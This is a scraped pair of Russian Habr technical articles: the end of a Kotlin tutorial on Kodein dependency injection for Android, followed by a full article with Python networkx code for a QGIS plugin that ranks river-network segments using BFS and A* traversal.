class MyApplication : Application(), KodeinAware {
override val kodein: Kodein = Kodein {
bind() with contexted().provider { context.getActivityBigDecimal() }
bind() with contexted().factory { initialValue:BigDecimal -> context.getPresenterBigDecimal(initialValue) }
}
}
class CategoriesActivity : Activity(), AppKodeinAware {
fun getActivityBigDecimal() = BigDecimal("16.34")
private val activityBigDecimal: BigDecimal by kodein.on(context = this).instance()
}
class CategoriesPresenter : AppKodeinAware {
fun getPresenterBigDecimal(initialValue: BigDecimal) = initialValue \* BigDecimal.TEN
private val presenterBigDecimal: BigDecimal by kodein.on(context = this).instance(arg = BigDecimal("31.74"))
}
```
Пример, конечно, за уши притянут и в реальной практике вряд ли у вас возникнет именно такая ситуация, но на этом примере видно как работает тот самый контекст.
Чтобы объявить зависимость вы указываете не `with provider()`, а `with contexted().provider`, где `OurContextClass` — это тип класса, экземпляр которого будет выступать в роли контекста. `contexted` может быть только provider или factory.
Доступ к этому контексту в функции, которая возвращает зависимость, осуществляется через переменную под именем `context`.
Чтобы получить зависимость привязанную к контексту — вам сначала нужно указать контекст объекту `Kodein` через функцию `on()`, а после уже запрашивать зависимость.
Аналогично контекст используется в случае с `injection`.
```
private val productApi: IProductApi by kodein.on(context = someContext).newInstance { ProductApi(instance(), instance()) }
}
```
### Расширения для Android
В начале статьи я обещал рассмотреть и возможности расширения для `Android`.
Ничто не мешает вам использовать `Kodein` так как мы рассматривали выше, но можно сделать всё на порядок удобнее.
#### Встроенный модуль Kodein для Android
Очень полезная вещь — модуль, подготовленный для Android. Для его подключения необходимо, чтобы класс `Application` реализовывал `KodeinAware` и инициализировал свойство `Kodein` лениво (для доступа к экземпляру `Application`). Взамен вы получаете огромное количество объявленных зависимостей, которые можно получить из класса `Application`, включая всем необходимый `Context`. Как подключить — смотрим на пример.
```
class MyApplication : Application(), KodeinAware {
override val kodein = Kodein.lazy {
import(androidModule(this@MyApplication))
// зависимости
}
val inflater: LayoutInflater by instance()
}
```
Как видно — можно получить, например, `LayoutInflater`. Для ознакомления с полным списком объявленных в модуле зависимостей — [смотрим сюда](https://github.com/Kodein-Framework/Kodein-DI/blob/5.3/framework/android/kodein-di-framework-android-core/src/main/java/org/kodein/di/android/module.kt).
Если хотите получить эти зависимости вне Android классов, знающих о своем контексте — укажите контекст явно.
```
val inflater: LayoutInflater by kodein.on(context = getActivity()).instance()
```
#### Быстро получаем родительский Kodein через closestKodein()
Всё просто, в Android одни объекты зависят от других. На верхнем уровне есть Application, под которым Activity, далее Fragment. Вы можете в Activity реализовать `KodeinAware`, а в качестве инициализации вызвать `closestKodein()` и таким образом получить экземпляр `Kodein` из `Application`.
```
class MyActivity : Activity(), KodeinAware {
override val kodein by closestKodein()
val ds: DataSource by instance()
}
```
`closestKodein` можно также получить вне Android классов, но необходим контекст Android, у которого можно будет вызвать функцию. Если используете `KodeinAware` — укажите также и ему контекст (переопределите соответствующее свойство и передайте контекст Android в функцию `kcontext()`).
```
class MyController(androidContext: Context) : KodeinAware {
override val kodein by androidContext.closestKodein()
override val kodeinContext = kcontext(androidContext)
val inflater: LayoutInflater by instance()
}
```
#### Создаем отдельный Kodein в Activity
Вполне может быть необходимость унаследоваться от родительского Kodein в Activity и расширить его. Выход достаточно прост.
```
class MyActivity : Activity(), KodeinAware {
private val parentKodein by closestKodein()
override val kodein: Kodein by Kodein.lazy {
extend(parentKodein)
/* новые зависимости */
}
}
```
#### Kodein, который переживает смену конфигурации
Да, можно и так. Для этого есть функция `retainedKodein`. При её использовании объект `Kodein` не будет повторно создаваться после изменения конфигурации.
```
class MyActivity : Activity(), KodeinAware {
private val parentKodein by closestKodein()
override val kodein: Kodein by retainedKodein {
extend(parentKodein)
}
}
```
### О чем не сказано в статье?
На полноту я не претендовал, а некоторые вещи сам недостаточно хорошо понимаю, чтобы пытаться их изложить. Вот список того, что вы можете изучить самостоятельно, зная базовые принципы:
* Scopes
* Instance binding
* Multi-binding
* OnReady callbacks
* External Source
* Erased version pitfalls
* Configurable Kodein
* JSR-330 Compability
Ну и ссылки на документацию:
* [Core 5.3](http://kodein.org/Kodein-DI/?5.3/core)
* [Android 5.3](http://kodein.org/Kodein-DI/?5.3/android)
* [Стартовая страница](http://kodein.org/Kodein-DI/)
Дочитавшим спасибо, надеюсь, статья окажется вам полезной!` | https://habr.com/ru/post/431696/ | null | ru | null |
# Алгоритм ранжирования сегментов речной сети с использованием графов для геоинформационного анализа
Привет, Хабр.
В данной статье хотелось бы затронуть тему применения информационных технологий в Науках о Земле, а именно, в Гидрологии и Картографии. Под катом представлено описание алгоритма ранжирования водотоков и реализованного нами плагина для открытой геоинформационной системы QGIS.
Введение
--------
В настоящее время важным аспектом гидрологических изысканий являются не только натурные наблюдения, но и камеральная работа с гидрологическими данными, в том числе и с использованием ГИС (геоинформационных систем). Однако, изучение пространственной структуры гидрологических систем может быть затруднено в виду большого объема данных. В таких случаях не обойтись без применения дополнительных инструментов, позволяющих специалисту автоматизировать процесс.
Важную роль при работе с цифровыми данными в целом и гидрологическими данными в частности играет визуализация — корректное и наглядное представление результатов анализа. Для отображения водотоков в классической картографии принят следующий способ: реки изображаются сплошной линией с постепенным (в зависимости, от количества впадающих в реку притоков) утолщением от истока к устью. Кроме того, для сегментов речной сети часто необходимо некоторое ранжирование по степени удаленности от истока. Информация такого рода важна не только с точки зрения визуализации, но и пригодна для более полного восприятия структуры данных, их пространственного распределения, и корректной последующей обработки.
Проиллюстрировать задачу ранжирования водотоков можно следующим образом (Рис. 1):
Рисунок 1. Задача ранжирования водотоков, цифрами обозначен присвоенный каждому сегменту речной сети атрибут совокупного количества впадающих притоков
Таким образом, каждому сегменту реки требуется сопоставить такое значение, которое бы показывало, сколько сегментов совокупно впадает в данный участок.
Современные ГИС, такие как ArcGIS или его open-source конкурент QGIS, имеют в своем арсенале инструменты работы с речными сетями. Однако, как правило, инструментам ранжирования рек требуется большое количество дополнительных вспомогательных материалов и, как нам кажется, лишних преобразований. Так, редко какой-либо существующий инструмент работы с речными сетями в ГИС может начинать свою работу без цифровой модели рельефа. Существенным недостатком, помимо сложной и многоступенчатой подготовки данных, является отсутствие возможности использовать уже подготовленные векторные слои с речной сетью для анализа, что ограничивает возможность применения в том числе цифровых основ из открытых источников (OpenStreetMap, Natural Earth, ВСЕГЕИ).
Конечно, присвоить значения атрибутов сегментам можно и вручную, однако подобный подход теряет актуальность, если водосборный бассейн включает в себя десятки тысяч сегментов.
Мы решили автоматизировать данную процедуру с помощью представления речной сети в математической форме — в виде графа и последующего применения алгоритмов обхода графов. Для упрощения работы пользователя с реализованным алгоритмом был написан плагин для геоинформационной системы QGIS — "Lines Ranking". Код распространяется свободно и доступен в репозитории QGIS, а также на [GitHub](https://github.com/ChrisLisbon/QGIS_LinesRankingPlugin).
**Установка и запуск**
Для работы плагина необходима версия QGIS >= 3.14, а также следующие зависимости: библиотеки языка программирования Python — networkx и pandas.
В качестве входных данных алгоритму подается векторный слой, состоящий из объектов с линейным типом геометрии (Line, MultiLine). Пользовательские атрибуты входного слоя сохраняются для результирующего слоя, поэтому могут быть значимыми.
* Не рекомендуется использовать для входного слоя поле с названием “fid”. На этапе соединения разрывов в речной сети использование встроенного модуля пакета GRASS — v.clean — приводит к непредвиденным исключениям в связи с тем, что такое название поля является системным.
Также обязательным входным параметром является точка (Start Point Coordinates), определяющая положение устья речной сети. Она может быть задана с карты, из файла, либо из слоя, загруженного в QGIS. Положение устья может быть примерным, в расчет берется ближайший к точке сегмент речной сети (замыкающий сегмент будущего графа).
Описать выполняемые алгоритмом задачи можно следующим образом: сопоставить каждому сегменту реки значение совокупно впадающих в него притоков, для каждого сегмента рассчитать количество притоков, а также удаленность крайней дальней точки сегмента от устья.
Описание алгоритма
------------------
В любой ГИС данные могут представляться в двух основных форматах: растровом и векторном. Растр — это матрица, где в каждом пикселе хранится некоторое значение параметра. В растровом формате в Науках о Земле часто представлены спутниковые снимки, поля реанализа, различные выходные слои из климатических моделей и др. Векторные данные представляются в виде простых геометрических объектов, таких как точки, линии и полигоны. Каждому объекту векторного формата может быть сопоставлена некоторая информация в виде атрибутов. Все описанные ниже действия мы будет производить именно над векторным слоем речной сети.
Результат работы алгоритма — векторный слой, в котором каждому объекту присвоены атрибуты, определяющие удаленность сегментов от устья реки и совокупное количество впадающих в данный сегмент притоков.
### Предобработка входных данных
Отметим, что топология изначального векторного слоя может быть повреждена. Причиной может быть экспорт/импорт между различными ГИС, некорректное создание файла и т.д. Поврежденная топология слоя может выражаться в отсутствии соединений между объектами, т.е. образовании различных разрывов (Рис. 2), создании дополнительных замыканий, пересечений и т.п.
Рисунок 2. Нарушенная топология векторных объектов
Поэтому первым этапом предобработки является исправление топологии объектов: “подтянуть“ узлы, сделать исходный векторный слой консистентным. Для этого используются инструменты из панели анализа данных в QGIS – “Исправить геометрии” (fixgeometries — встроенный) и v.clean (из пакета GRASS).
После того как топология исправлена, слой разбивается на сегменты в точках соприкосновения и пересечения линий. Результат после разбиения проиллюстрирован ниже (Рис. 3).
Рисунок 3. Разбиение линейных объектов на сегменты
Таким образом, с помощью инструмента в QGIS "Разбить линиями" (splitwithlines — встроенный) мы делим исходный слой на сегменты.
Для каждого сегмента средствами QGIS мы рассчитываем протяженность и заносим данные в атрибутивную таблицу слоя (Рис. 4). Длина сегмента рассчитывается в соответствии с пользовательскими настройками проекта (Проект -> Свойства -> Общие -> Эллипсоид).
Рисунок 4. Расчет протяженности сегментов
После этого с помощью инструмента "Пересечение линий" (lineintersections — встроенный) мы получаем точечный векторный слой, где в таблице атрибутов занесена информация о пересечениях сегментов. Такую таблицу атрибутов можно интерпретировать как список смежности.
Схематично этапы предобработки представлены на следующих изображениях (Рис. 5).
Рисунок 5. Этапы предобработки векторного линейного слоя для представления его в виде графа
В результате предобработки формируется граф как математический объект Python библиотеки networkx. Таким образом, сегменты реки — это вершины графа, если сегменты связаны между собой (имеют пересечения), то между вершинами есть ребра.
### Алгоритм ранжирования линейных объектов
После того, как граф сформирован, нам известно, из какой вершины следует начинать обход (точка впадения главной реки в водоем). В дальнейшем, будем называть эту вершину замыкающей, так как именно в неё "впадают" все остальные сегменты речной сети (вершины). Алгоритм мы разделили на несколько частей:
1. Ранжирование вершин графа по удаленности от замыкающего сегмента с присваиванием атрибута "rank" (мера удаленности сегмента) и атрибута "offspring" (количество напрямую впадающих в данный сегмент участков речной сети);
2. Обход графа с целью присваивания атрибута совокупно впадающих в данный участок сегментов водотоков "value" и атрибута "distance" (удаленности крайней точки сегмента от устья в метрах).
Оба этапа делятся на несколько блоков, однако, основная идея заключается в двуэтапной схеме присваивания атрибутов.
#### Присваивание атрибутов "rank" и "offspring"
Переходим к первому этапу обхода графа — ранжирование вершин по степени удаленности от замыкающей. Изначально, мы планировали осуществлять присваивание атрибута "rank" при помощи итеративного обхода в ширину. Таким образом, начиная от замыкающей вершины, мы бы на каждом шаге отдалялись все дальше и дальше, и вместе с этим, присваивали бы атрибут. Но в таком случае может возникнуть следующий конфликт (Анимация ниже)
И какой ранг нам присвоить данному сегменту? Вообще, для такого алгоритма присваивания атрибутов могут возникать и другие проблемы, но мы привели одну из ключевых.
Предложенное решение: можно однозначно определить ранги для какой-то части речной сети (главной реки), и ранжировать сегменты опираясь уже на эту информацию. Данный подход можно проиллюстрировать следующей картинкой (Рис. 6).
Рисунок 6. Разрешение конфликта путем введения опорного маршрута в графе
Таким образом, подграфы могут примыкать к опорному маршруту только через 1 ребро, остальные ребра — исключаются.
Здесь возникает следующая проблема — как найти такой маршрут? — Будем считать, что кратчайший маршрут между двумя наиболее удаленными друг от друга вершинами в графе, одна из которых является замыкающей, — опорный маршрут (скоро мы добавим обновление, чтобы пользователь мог вручную задать такой маршрут, если у него есть априорные знания какая река является главной, но при отсутствии такой информации опорный маршрут определяется именно таким образом). Такой маршрут можно получить при помощи алгоритма A\* (A-star), но данный алгоритм работает на взвешенном графе, а на ребрах нашего пока никаких весов нет. Но мы можем задать веса ребрам графа на основе длин сегментов (мы рассчитали их ранее).
1) Присваивание весов ребрам графа на основе протяженностей сегментов. Одновременно с этим этапом происходит выделение одной компоненты связности в графе. Перемещение по графу осуществляется при помощи поиска в ширину. Присваивание весов можно продемонстрировать следующим рисунком (Рис. 7)
Рисунок 7. Присваивание весов ребрам графа
Таким образом, каждая вершина графа имеет атрибут "length", который обозначает протяженность данного сегмента реки в метрах. Мы же переносим значения атрибутов с вершин графа на ребра итеративно, начиная обход графа в ширину из замыкающей вершины.
Данную задачу выполняет следующая функция
**distance\_attr**
Input:
* G — исходный граф
* start — вершина, из которой требуется начинать обход
* dataframe — pandas датафрейм, в котором присутствуют 2 столбца: id\_field (идентификатор сегмента/вершины) и 'length' (длина данного сегмента)
* id\_field — поле в dataframe, из которого требуется сопоставлять идентификаторы с вершинами графа
* main\_id — индекс, которым обозначается главная река в речной сети (по умолчанию = None)
Output:
* На исходном графе ребрам присваиваются веса таким образом, что если начальная вершина 1, соседние с ней узлы графа: 2 и 3, где значение атрибута 'length' для сегментов 1 — 10, 2 — 15, 3 — 20. В результате ребрам будет присвоены значения следующим образом: (1, 2) и (2, 1) — 15; (1, 3) и (3, 1) — 20 и т.д.
* last\_vertex — одна из самых удаленных вершин от начальной в графе (данная вершина необходима для нахождения кратчайшего пути между двумя самыми удаленными сегментами в речной сети)
```
# Function for assigning weights to graph edges
def distance_attr(G, start, dataframe, id_field, main_id = None):
# List of all vertexes that can be reached from the start vertex using BFS
vert_list = list(nx.bfs_successors(G, source=start))
# One of the most remote vertices in the graph (this will be necessary for A*)
last_vertex = vert_list[-1][-1][0]
for component in vert_list:
vertex = component[0] # The vertex where we are at this iteration
neighbors = component[1] # Vertices that are neighboring (which we haven't visited yet)
dist_vertex = int(dataframe['length'][dataframe[id_field] == vertex])
# Assign the segment length value as a vertex attribute
attrs = {vertex: {'component' : 1, 'size' : dist_vertex}}
nx.set_node_attributes(G, attrs)
for n in neighbors:
# If the main index value is not set
if main_id == None:
# Assign weights to the edges of the graph
# The length of the section in meters (int)
dist_n = int(dataframe['length'][dataframe[id_field] == n])
# Otherwise we are dealing with a complex composite index
else:
# If the vertex we are at is part of the main river
if vertex.split(':')[0] == main_id:
# And at the same time, the vertex that we "look" at from the vertex "vertex" also, then
if n.split(':')[0] == main_id:
# The weight value must be zero
dist_n = 0
else:
dist_n = int(dataframe['length'][dataframe[id_field] == n])
else:
dist_n = int(dataframe['length'][dataframe[id_field] == n])
attrs = {(vertex, n): {'weight': dist_n},
(n, vertex): {'weight': dist_n}}
nx.set_edge_attributes(G, attrs)
# Assign attributes to the nodes of the graph
attrs = {n: {'component' : 1, 'size' : dist_n}}
nx.set_node_attributes(G, attrs)
# Look at the surroundings of the vertex where we are located
offspring = list(nx.bfs_successors(G, source = vertex, depth_limit = 1))
offspring = offspring[0][1]
# If the weight value was not assigned, we assign it
for n in offspring:
if len(G.get_edge_data(vertex, n)) == 0:
##############################
# Assigning weights to edges #
##############################
if main_id == None:
dist_n = int(dataframe['length'][dataframe[id_field] == n])
else:
if vertex.split(':')[0] == main_id:
if n.split(':')[0] == main_id:
dist_n = 0
else:
dist_n = int(dataframe['length'][dataframe[id_field] == n])
else:
dist_n = int(dataframe['length'][dataframe[id_field] == n])
attrs = {(vertex, n): {'weight': dist_n},
(n, vertex): {'weight': dist_n}}
nx.set_edge_attributes(G, attrs)
##############################
# Assigning weights to edges #
##############################
elif len(G.get_edge_data(n, vertex)) == 0:
##############################
# Assigning weights to edges #
##############################
if main_id == None:
dist_n = int(dataframe['length'][dataframe[id_field] == n])
else:
if vertex.split(':')[0] == main_id:
if n.split(':')[0] == main_id:
dist_n = 0
else:
dist_n = int(dataframe['length'][dataframe[id_field] == n])
else:
dist_n = int(dataframe['length'][dataframe[id_field] == n])
attrs = {(vertex, n): {'weight': dist_n},
(n, vertex): {'weight': dist_n}}
nx.set_edge_attributes(G, attrs)
##############################
# Assigning weights to edges #
##############################
for vertex in list(G.nodes()):
# If the graph is incompletely connected, then we delete the elements that we can't get to
if G.nodes[vertex].get('component') == None:
G.remove_node(vertex)
else:
pass
return(last_vertex)
# The application of the algorithm
last_vertex = distance_attr(G, '7126:23', dataframe, id_field = 'id', main_id = '7126')
```
2) A\* (А-star) поиск кратчайшего пути на взвешенном графе между замыкающей и одной из самых удаленных вершин (сегмента в речной сети). Данный самый короткий маршрут между двумя самыми удаленными вершинами в графе мы назовем "опорным";
3) Ранжирование по удаленности всех вершин в опорном маршруте. Вершине, из которой мы начинаем обход, присваивается значение ранга 1, следующей вершине — 2, далее — 3 и т.д.
4) Итеративный обход графа с началом в вершинах опорного маршрута с изоляцией рассматриваемых подграфов. Если одна из ветвей графа уже имеет соединение с вершинами опорного маршрута, то ребра, связывающие подграф с другими опорными вершинами, удаляются.
Исходный код можно увидеть ниже
**rank\_set**
Input:
* G — граф с присвоенными весами на ребрах
* start — вершина, из которой требуется начинать обход
* last\_vertex — одна из самых удаленных вершин от начальной в графе
Output:
* Каждой вершине графа присваивается значение его ранга в речной сети. Ранг 1 имеет сегмент реки, который является замыкающим в речной сети. Ранг 2 имеют притоки, которые впадают в сегмент ранга 1. Ранг 3 имеют притоки, которые впадают в сегмент ранга 2 и т.д. После того, как все вершины графа имеют значение атрибута 'rank', производится подсчет потомков для каждой вершины 'offspring'. Значение атрибута 'offspring' можно интерпретировать как 'количество сегментов, которое впадает в данный сегмент речной сети'.
```
# Function for assigning 'rank' and 'offspring' attributes to graph vertices
def rank_set(G, start, last_vertex):
# Traversing a graph with attribute assignment
# G --- graph as a networkx object
# vertex --- vertex from which the graph search begins
# kernel_path --- list of vertexes that are part of the main path that the search is being built from
def bfs_attributes(G, vertex, kernel_path):
# Creating a copy of the graph
G_copy = G.copy()
# Deleting all edges that are associated with the reference vertexes
for kernel_vertex in kernel_path:
# Leaving the reference vertex from which we start the crawl
if kernel_vertex == vertex:
pass
else:
# For all other vertexes, we delete edges
kernel_n = list(nx.bfs_successors(G_copy, source = kernel_vertex, depth_limit = 1))
kernel_n = kernel_n[0][1]
for i in kernel_n:
try:
G_copy.remove_edge(i, kernel_vertex)
except Exception:
pass
# The obtained subgraph is isolated from all reference vertices, except the one
# from which the search begins at this iteration
# Breadth-first search
all_neighbors = list(nx.bfs_successors(G_copy, source = vertex))
# Attention!
# Labels are not assigned on an isolated subgraph, but on the source graph
for component in all_neighbors:
v = component[0] # The vertex where we are at this iteration
neighbors = component[1] # Vertices that are neighboring (which we haven't visited yet)
# Value of the 'rank' attribute in the considering vertex
att = G.nodes[v].get('rank')
if att != None:
# The value of the attribute to be assigned to neighboring vertices
att_number = att + 1
# We look at all the closest first offspring
first_n = list(nx.bfs_successors(G, source = v, depth_limit = 1))
first_n = first_n[0][1]
# Assigning ranks to vertices
for i in first_n:
# If the neighboring vertex is the main node in this iteration, then skip it
# vertex - the reference point from which we started the search
if i == vertex:
pass
else:
current_i_rank = G.nodes[i].get('rank')
# If the rank value has not yet been assigned, then assign it
if current_i_rank == None:
attrs = {i: {'rank': att_number}}
nx.set_node_attributes(G, attrs)
# If the rank in this node is already assigned
else:
# The algorithm either "looks back" at vertices that it has already visited
# In this case we don't do anything
# Either the algorithm "came up" to the main path (kernel path) in the graph
if any(i == bearing_v for bearing_v in kernel_path):
G.remove_edge(v, i)
else:
pass
# Additional "search"
for neighbor in neighbors:
# We look at all the closest first offspring
first_n = list(nx.bfs_successors(G, source = neighbor, depth_limit = 1))
first_n = first_n[0][1]
for i in first_n:
# If the neighboring vertex is the main node in this iteration, then skip it
# vertex - the reference point from which we started the search
if i == vertex:
pass
else:
# The algorithm either "looks back" at vertices that it has already visited
# In this case we don't do anything
# Either the algorithm "came up" to the main path (kernel path) in the graph
if any(i == bearing_v for bearing_v in kernel_path):
G.remove_edge(neighbor, i)
else:
pass
# Finding the shortest path A* - building a route around which we will build the next searchs
a_path = list(nx.astar_path(G, source = start, target = last_vertex, weight = 'weight'))
##############################
# Route validation block #
##############################
true_a_path = []
for index, V in enumerate(a_path):
if index == 0:
true_a_path.append(V)
elif index == (len(a_path) - 1):
true_a_path.append(V)
else:
# Previous and next vertices for the reference path (a_path)
V_prev = a_path[index - 1]
V_next = a_path[index + 1]
# Which vertexes are adjacent to this one
V_prev_neighborhood = list(nx.bfs_successors(G, source = V_prev, depth_limit = 1))
V_prev_neighborhood = V_prev_neighborhood[0][1]
V_next_neighborhood = list(nx.bfs_successors(G, source = V_next, depth_limit = 1))
V_next_neighborhood = V_next_neighborhood[0][1]
# If the next and previous vertices are connected to each other without an intermediary
# in the form of vertex V, then vertex V is excluded from the reference path
if any(V_next == VPREV for VPREV in V_prev_neighborhood):
if any(V_prev == VNEXT for VNEXT in V_next_neighborhood):
pass
else:
true_a_path.append(V)
else:
true_a_path.append(V)
##############################
# Route validation block #
##############################
# Verification completed
a_path = true_a_path
RANK = 1
for v in a_path:
# Assign the attribute rank value - 1 to the starting vertex. The further away, the greater the value
attrs = {v: {'rank' : RANK}}
nx.set_node_attributes(G, attrs)
RANK += 1
# The main route is ready, then we will iteratively move from each node
for index, vertex in enumerate(a_path):
# Starting vertex
if index == 0:
next_vertex = a_path[index + 1]
# Disconnect vertices
G.remove_edge(vertex, next_vertex)
# Subgraph BFS block
bfs_attributes(G, vertex = vertex, kernel_path = a_path)
# Connect vertices back
G.add_edge(vertex, next_vertex)
# Finishing vertex
elif index == (len(a_path) - 1):
prev_vertex = a_path[index - 1]
# Disconnect vertices
G.remove_edge(prev_vertex, vertex)
# Subgraph BFS block
bfs_attributes(G, vertex = vertex, kernel_path = a_path)
# Connect vertices back
G.add_edge(prev_vertex, vertex)
# Vertices that are not the first or last in the reference path
else:
prev_vertex = a_path[index - 1]
next_vertex = a_path[index + 1]
# Disconnect vertices
# Previous with current vertex
try:
G.remove_edge(prev_vertex, vertex)
except Exception:
pass
# Current with next vertex
try:
G.remove_edge(vertex, next_vertex)
except Exception:
pass
# Subgraph BFS block
bfs_attributes(G, vertex = vertex, kernel_path = a_path)
# Connect vertices back
try:
G.add_edge(prev_vertex, vertex)
G.add_edge(vertex, next_vertex)
except Exception:
pass
# Attribute assignment block - number of descendants
vert_list = list(nx.bfs_successors(G, source = start))
for component in vert_list:
vertex = component[0] # The vertex where we are at this iteration
neighbors = component[1] # Vertices that are neighboring (which we haven't visited yet)
# Adding an attribute - the number of descendants of this vertex
n_offspring = len(neighbors)
attrs = {vertex: {'offspring' : n_offspring}}
nx.set_node_attributes(G, attrs)
```
Демонстрацию описанных действий можно увидеть на анимации:
Таким образом, опорный маршрут можно рассматривать как главную реку в речной сети, когда все остальные сегменты являются притоками для главной. Описанный выше алгоритм в полной мере соответствует данным рассуждениям.
Более того, подобный подход позволяет добиться однозначности при ранжировании рек в "сложных" местах, таких как дельта, где некоторые рукава сначала отходят от главной реки, а затем, набирая новые притоки, впадают в главную реку снова.
#### Присваивание атрибутов "value" и "distance"
Итак, на графе всем вершинам присвоены значения атрибутов "rank" и "offspring". Дальнейшие рассуждения можно свести к следующему.
Если вершина графа не имеет потомков, то это значит, что ни один приток в данный сегмент речной сети не впадает, следовательно, данной вершине требуется присвоить значение "value" — 1. Затем, для каждого узла, у которого имеются потомки со значением "value", равному 1, необходимо сложить значения "value" у потомков (ранг потомков всегда на 1 меньше, чем ранг рассматриваемой вершины) и присвоить полученное число как атрибут вершины "value". Затем, данная процедура повторяется ровно столько раз, сколько рангов присутствует в графе.
Таким образом, мы итеративно продвигаемся к начальной вершине.
**iter\_set\_values**
Input:
* G — граф с присвоенными значениями атрибутов 'rank' и 'offspring'
* start — вершина, из которой требуется начинать обход
Output:
* Каждой вершине графа G присваивается значение атрибута 'value'. Значение данного атрибута можно интерпретировать как 'количество совокупно впадающих притоков в данную часть речной сети'. Также присваивается атрибут 'distance', который означает расстояние, которое потребуется преодолеть, чтобы достичь устья реки из данного сегмента.
```
# Function for determining the order of river segments similar to the Shreve method
# In addition, the "distance" attribute is assigned
def set_values(G, start, considering_rank, vert_list):
# For each vertex in the list
for vertex in vert_list:
# If value has already been assigned, then skip it
if G.nodes[vertex].get('value') == 1:
pass
else:
# Defining descendants
offspring = list(nx.bfs_successors(G, source = vertex, depth_limit = 1))
# We use only the nearest neighbors to this vertex (first descendants)
offspring = offspring[0][1]
# The cycle of determining the values at the vertices of a descendant
last_values = []
for child in offspring:
# We only need descendants whose rank value is greater than that of the vertex
if G.nodes[child].get('rank') > considering_rank:
if G.nodes[child].get('value') != None:
last_values.append(G.nodes[child].get('value'))
else:
pass
else:
pass
last_values = np.array(last_values)
sum_values = np.sum(last_values)
# If the amount is not equal to 0, the attribute is assigned
if sum_values != 0:
attrs = {vertex: {'value' : sum_values}}
nx.set_node_attributes(G, attrs)
else:
pass
# Function for iteratively assigning the value attribute
def iter_set_values(G, start):
# Vertices and corresponding attribute values
ranks_list = []
vertices_list = []
offspring_list = []
for vertex in list(G.nodes()):
ranks_list.append(G.nodes[vertex].get('rank'))
vertices_list.append(vertex)
att_offspring = G.nodes[vertex].get('offspring')
if att_offspring == None:
offspring_list.append(0)
else:
offspring_list.append(att_offspring)
# Largest rank value in a graph
max_rank = max(ranks_list)
# Creating pandas dataframe
df = pd.DataFrame({'ranks': ranks_list,
'vertices': vertices_list,
'offspring': offspring_list})
# We assign value = 1 to all vertices of the graph that have no offspring
value_1_list = list(df['vertices'][df['offspring'] == 0])
for vertex in value_1_list:
attrs = {vertex: {'value' : 1}}
nx.set_node_attributes(G, attrs)
# For each rank, we begin to assign attributes
for considering_rank in range(max_rank, 0, -1):
# List of vertices of suitable rank
vert_list = list(df['vertices'][df['ranks'] == considering_rank])
set_values(G, start, considering_rank, vert_list)
# Assigning the "distance" attribute to the graph vertices
# List of all vertexes that can be reached from the start vertex using BFS
vert_list = list(nx.bfs_successors(G, source = start))
for component in vert_list:
vertex = component[0] # The vertex where we are at this iteration
neighbors = component[1] # Vertices that are neighboring (which we haven't visited yet)
# If we are at the closing vertex
if vertex == start:
# Length of this segment
att_vertex_size = G.nodes[vertex].get('size')
# Adding the value of the distance attribute
attrs = {vertex: {'distance' : att_vertex_size}}
nx.set_node_attributes(G, attrs)
else:
pass
vertex_distance = G.nodes[vertex].get('distance')
# For each neighbor, we assign an attribute
for i in neighbors:
# Adding the value of the distance attribute
i_size = G.nodes[i].get('size')
attrs = {i: {'distance' : (vertex_distance + i_size)}}
nx.set_node_attributes(G, attrs)
```
Одновременно с присваиванием вершинам графа атрибута "value", производится присваивание атрибута "distance", который характеризует удаленность сегментов от устья не количеством сегментов, которое необходимо преодолеть, чтобы достичь замыкающего, а расстояние в метрах, которое необходимо будет преодолеть, чтобы достичь устья реки.
Результат использования алгоритма можно увидеть на рисунке 8. Удаленность сегментов речной сети показана на основе атрибута "rank" и совокупное количество притоков показано на основе атрибута "value".
Рисунок 8. Результаты использования алгоритма (данные OpenStreetMap, Удаленность сегментов речной сети показана на основе атрибута "rank", Совокупное количество впадающих притоков- на основе атрибута "value")
Заключение
----------
Как видно, представленный алгоритм позволяет ранжировать реки без использования дополнительной информации о рельефе территории. Необходимым входным параметром за исключением основного слоя речной сети является положение замыкающего сегмента (место впадения реки в водоем), которое можно указать точкой.
Таким образом, при минимальном количестве требуемых входных данных с использованием реализованного алгоритма представляется возможность получить структурированную производную информацию, характеризующую элементы речного бассейна.
Открытой реализацией алгоритма на языке Python, а также встраиваемым плагином для QGIS может воспользоваться любой желающий. Вся обработка осуществляется одним потоком, у пользователя нет необходимости запускать все описанные функции по отдельности.
Мы будем рады ответить на ваши вопросы и увидеть ваши комментарии.
Репозиторий с исходным кодом:
* <https://github.com/ChrisLisbon/QGIS_LinesRankingPlugin>
*Над алгоритмом и статьей работали [Михаил Сарафанов](mailto:mik_sar@mail.ru), [Юлия Борисова](mailto:yulashka.htm@yandex.ru).* | https://habr.com/ru/post/514526/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.